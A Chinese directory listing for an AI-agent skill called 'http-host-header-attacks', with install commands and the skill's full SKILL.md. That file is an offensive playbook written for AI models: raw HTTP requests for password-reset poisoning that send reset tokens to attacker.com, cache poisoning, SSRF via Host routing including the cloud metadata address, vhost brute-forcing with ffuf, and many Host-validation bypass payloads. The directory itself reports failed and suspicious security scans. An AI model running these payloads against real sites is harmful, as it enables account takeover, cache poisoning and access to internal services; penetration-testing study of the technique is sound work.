Token导航 LogoToken导航TokenDH.com
研究检索需要联网github未标认证来源可访问许可证需确认审计异常

http-host-header-attackshttp 主机头攻击

Agent Skill

http-host-header-attacks 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

6,486

周安装

273

GitHub Stars

349

下载量

2,271
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:http-host-header-attacks(http 主机头攻击)
来源仓库:https://github.com/yaklang/hack-skills
仓库路径:skills/http-host-header-attacks
安装命令:
npx skills add https://github.com/yaklang/hack-skills --skill http-host-header-attacks
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/yaklang/hack-skills --skill http-host-header-attacks

简介

用于查找与筛选 HTTP Host 头攻击相关的技术资料。

  • 适合在 Codex、Claude、Cursor、Gemini CLI 中研究防御策略。
  • 通过 GitHub 仓库安装,需结合 Web 服务器配置验证防护效果。
  • 建议禁用通配符虚拟主机以减少攻击面。http-host-header-attacks 属于研究检索类 Skill,可作为该场景下的辅助能力补充。
  • 应监控异常 Host 头请求并设置速率限制。

SKILL.md

SKILL: HTTP Host Header Attacks — Injection & Routing Abuse

AI LOAD INSTRUCTION: Covers Host header injection for password reset poisoning, cache poisoning, SSRF via routing, and virtual host bypass. Includes bypass techniques for Host validation and framework-specific behaviors. Base models often miss the double-Host trick, absolute-URI override, and connection-state attacks.

0. RELATED ROUTING


1. ATTACK SURFACE

The Host header is used by web applications and infrastructure for:

UsageExploitation
URL generation (password reset links, email links)Inject attacker domain → user clicks link to attacker
Virtual host routingSpoof Host → access internal/admin vhost
Cache key componentInject different Host → poison cache for all users
Reverse proxy routingHost determines backend → SSRF to internal services
Access control decisionsHost-based ACLs can be bypassed
Canonical URL / SEO redirectsHost injection → open redirect

2. PASSWORD RESET POISONING

The most common and impactful Host header attack.

How It Works

1. Attacker requests password reset for victim@target.com
2. Attacker modifies Host header in the reset request:
   POST /forgot-password HTTP/1.1
   Host: attacker.com    ← injected

   email=victim@target.com

3. Server generates reset link using Host header value:
   "Click here to reset: https://attacker.com/reset?token=SECRET_TOKEN"

4. Victim receives email, clicks link → token sent to attacker
5. Attacker uses token on real target.com to reset password

Testing

POST /forgot-password HTTP/1.1
Host: attacker-collaborator.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

Check Burp Collaborator for incoming HTTP request with the reset token.

Variants

  • Some apps concatenate: Host: target.com.attacker.com → link becomes https://target.com.attacker.com/reset?token=xxx
  • Some apps use only the port portion: Host: target.com:@attacker.com → parsed as attacker.com in some URL parsers

3. WEB CACHE POISONING VIA HOST

1. Attacker sends:
   GET / HTTP/1.1
   Host: attacker.com

2. If cache keys on URL path but NOT on Host header:
   → Response cached with attacker.com in generated links/content

3. Subsequent users requesting GET / receive the poisoned response
   → Links point to attacker.com, scripts load from attacker.com

Key requirement: Cache must not include Host header in cache key, but application must use Host in response body.

Test by sending two requests with different Host values and checking if the second request returns the first's Host in the response.


4. SSRF VIA HOST ROUTING

When a reverse proxy uses Host header to route to backends:

GET /api/internal HTTP/1.1
Host: internal-admin-panel.local

→ Reverse proxy routes request to internal-admin-panel.local
→ Attacker accesses internal service

Common in:

  • Nginx proxy_pass based on $host
  • Apache ProxyPass with virtual host routing
  • Kubernetes Ingress controllers
  • Cloud load balancers

5. VIRTUAL HOST BYPASS

Many servers host multiple applications on the same IP via virtual hosting:

Target:  Host: www.target.com  → public site
Hidden:  Host: admin.target.com → admin panel (not in public DNS)
Hidden:  Host: staging.target.com → staging environment
Hidden:  Host: localhost → server status page

Discovery

1. Brute-force Host header with common vhost names:
   ffuf -u http://TARGET_IP -H "Host: FUZZ.target.com" -w vhosts.txt

2. Try special values:
   Host: localhost
   Host: 127.0.0.1
   Host: admin
   Host: internal
   Host: intranet

3. Compare response size/content to identify different vhosts

6. BYPASS TECHNIQUES WHEN HOST IS VALIDATED

6.1 Override Headers

Many frameworks/proxies trust these headers over the Host header:

HeaderFrameworks That Trust It
X-Forwarded-HostSymfony, Laravel, Django (when USE_X_FORWARDED_HOST=True), Rails (behind proxy)
X-HostSome custom proxy configurations
X-Original-URLIIS with URL Rewrite module
X-Rewrite-URLIIS with URL Rewrite module
Forwarded: host=attacker.comRFC 7239 compliant proxies
X-Forwarded-ServerApache mod_proxy

Test all simultaneously:

GET /forgot-password HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Original-URL: /forgot-password
Forwarded: host=attacker.com

6.2 Absolute URL in Request Line

GET http://attacker.com/path HTTP/1.1
Host: target.com

Per HTTP/1.1 spec (RFC 7230): if the request line contains an absolute URI, the Host header SHOULD be ignored. Some servers follow this, some don't — the mismatch between proxy and backend creates the vulnerability.

6.3 Double Host Header

GET /path HTTP/1.1
Host: target.com
Host: attacker.com

Behavior varies:

  • Some proxies validate first Host, app uses second
  • Some servers concatenate: target.com, attacker.com
  • RFC says: if both differ, return 400. Most servers don't.

6.4 Host with Port / Credentials

Host: target.com:@attacker.com
Host: target.com:evil.com
Host: target.com#@attacker.com
Host: attacker.com%23@target.com

URL parsers may extract the "host" portion differently when credentials (@) or fragments (#) are present.

6.5 Trailing Dot

Host: target.com.

DNS treats target.com. and target.com identically (trailing dot = FQDN). But Host validation may not strip the trailing dot → target.com. ≠ target.com in string comparison → bypass whitelist.

6.6 Tab / Space Injection

Host: target.com\tattacker.com
Host: target.com attacker.com

Some parsers split on whitespace; the server may use attacker.com portion while validation checks target.com portion.

6.7 Wrap-Around / Enclosed Values

Host: "attacker.com"
Host: <attacker.com>

Quoted or bracketed values may be stripped by the app but not by the validator.


7. FRAMEWORK-SPECIFIC BEHAVIOR

FrameworkHost SourceGotcha
PHP$_SERVER['HTTP_HOST'] (raw header, directly injectable)SERVER_NAME is safer only with UseCanonicalName On
DjangoHttpRequest.get_host() checks X-Forwarded-Host first (if enabled)USE_X_FORWARDED_HOST=True bypasses ALLOWED_HOSTS
Railsrequest.host from Host header; trusts X-Forwarded-Host behind proxyRails 6+ HostAuthorization middleware mitigates
Node/Expressreq.hostname / req.headers.host; with trust proxy uses X-Forwarded-HostNo built-in host validation

8. CONNECTION-STATE ATTACKS

A sophisticated variant exploiting HTTP keep-alive:

Connection 1:
  Request 1: GET / HTTP/1.1    ← Valid Host: target.com
              Host: target.com     → Proxy validates, forwards, keeps connection open

  Request 2: GET /admin HTTP/1.1  ← Evil Host on SAME connection
              Host: evil.com       → Some proxies skip validation on subsequent requests
                                     (they validated the connection on first request)

This works against proxies that perform Host validation only on the first request of a keep-alive connection.

Testing

1. Use Burp Repeater with "Connection: keep-alive"
2. Send normal request first
3. On same connection, send request with manipulated Host
4. Check if second request is processed differently

9. HOST HEADER ATTACK DECISION TREE

Application uses Host header in responses/behavior?
│
├── Test direct Host injection
│   ├── Change Host to attacker domain → reflected in response?
│   │   ├── YES → Check impact:
│   │   │   ├── In password reset emails? → PASSWORD RESET POISONING
│   │   │   ├── In cached responses? → WEB CACHE POISONING
│   │   │   ├── In redirects? → OPEN REDIRECT
│   │   │   └── In script/link URLs? → XSS VIA HOST
│   │   └── NO (400/403/different response) → Host is validated
│   │
│   └── Host validated? Try bypasses:
│       ├── X-Forwarded-Host header
│       ├── X-Host / X-Original-URL / Forwarded header
│       ├── Absolute URL in request line
│       ├── Double Host header
│       ├── Host: target.com:@attacker.com (URL parser confusion)
│       ├── Host: target.com. (trailing dot)
│       ├── Tab/space injection in Host value
│       └── Connection-state attack (valid first request, evil second)
│
├── Test virtual host enumeration
│   ├── Brute-force Host values against target IP
│   ├── Try: localhost, admin, staging, internal, intranet
│   └── Compare response sizes for different Host values
│
├── Test SSRF via Host routing
│   ├── Host: 127.0.0.1 → internal service?
│   ├── Host: internal-hostname.local → internal routing?
│   └── Host: 169.254.169.254 → cloud metadata?
│
└── No Host-based behavior found
    └── Check if app uses Host in server-side operations
        (email generation, webhook URLs, API callbacks)

10. TRICK NOTES — WHAT AI MODELS MISS

  1. Password reset poisoning doesn't require the victim to be logged in — you request the reset, the victim just clicks the link. The token lands on your server.
  2. X-Forwarded-Host is the #1 missed bypass: Most Host validation checks Host header but frameworks silently prefer X-Forwarded-Host when behind a proxy.
  3. Double Host header is protocol-valid but behavior-undefined: RFC says reject with 400, but almost no server actually does this. The mismatch between proxy and app is the vulnerability.
  4. Absolute URI overrides Host per RFC: GET http://evil.com/path HTTP/1.1\nHost: target.com — the spec says use the request-line URI. But not all implementations agree.
  5. Cache poisoning via Host requires the cache to exclude Host from the key: Most CDNs include Host in the cache key. But custom Varnish/Nginx caches may not. Also test with X-Forwarded-Host as cache key differentiator.
  6. Connection-state attacks are rarely tested: Automated scanners don't test keep-alive behavior. Manual testing via Burp Repeater's connection reuse is essential.
  7. DNS rebinding + Host attacks: If you control DNS, point your domain to the target's IP → your domain resolves to their server → Host header says your domain, but request hits their server. Useful for bypassing IP-based access controls.

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

37.18%
按下载量换算844

Claude

26.92%
按下载量换算611

Cursor

18.97%
按下载量换算431

Gemini CLI

9.97%
按下载量换算226

安全审计

Gen Agent Trust Hub

通过

Socket

可疑

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills